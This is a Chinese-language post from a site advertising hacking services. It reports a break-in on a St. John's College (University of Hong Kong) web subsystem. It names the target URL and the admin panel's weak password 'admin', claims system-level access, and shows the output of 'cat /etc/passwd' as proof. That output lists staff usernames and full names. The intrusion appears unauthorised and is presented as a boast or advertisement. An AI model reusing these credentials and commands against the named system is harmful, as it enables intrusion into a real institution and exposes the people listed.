HackAPT-打造中国最专业的黑客入侵技术 - 承接一切黑客渗透测试业务

对香港大学某子系统的一次渗透

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#1 目标服务器

http://myaquila.stjohns.hk/

Copyright 2014 © St. John's College, The University of Hong Kong

#2 uc_server后台弱口令

http://myaquila.stjohns.hk/uc_server

密码:admin

#3 可导致已管理员权限登陆后台,并利用后台功能间接获取系统权限

漏洞证明:

#SHELL

[/home/stjohns/www/]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
BIN:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
bennyluk:x:500:110:Benny Luk:/home/bennyluk:/bin/bash
kcchang:x:501:110:KC Chang:/home/kcchang:/bin/bash
scwchu:x:502:110:Stephen Chu:/home/scwchu:/bin/bash
kkyyip:x:503:110:Kenneth Yip:/home/kkyyip:/bin/bash
cheungyw:x:504:110:Charles Cheung:/home/cheungyw:/bin/bash
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gripen:x:506:110:Gripen Kwok Wai Tat:/home/gripen:/bin/bash
hobbit:x:1984:1984:Hobbit Client Daemon:/home/hobbit:/bin/bash
stjohns:x:1000:1000:St.John's College:/home/stjohns:/bin/bash
ymcheung:x:507:110:Ben Cheung:/home/ymcheung:/bin/bash
tomcat:x:91:91:Tomcat:/usr/share/tomcat5:/bin/sh
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
nagios:x:1985:1985::/home/nagios:/bin/bash
hzxcopt:x:508:508::/home/hzxcopt:/bin/bash
addmuser:x:1990:1990:ADDM Discovery ITIL2:/home/addmuser:/bin/bash
ftcheung:x:509:110:Frankie Cheung:/home/ftcheung:/bin/bash
jykpang:x:510:110:Jacky Pang Yuen Kwong:/home/jykpang:/bin/bash
nginx:x:101:156:Nginx user:/var/lib/nginx:/bin/false
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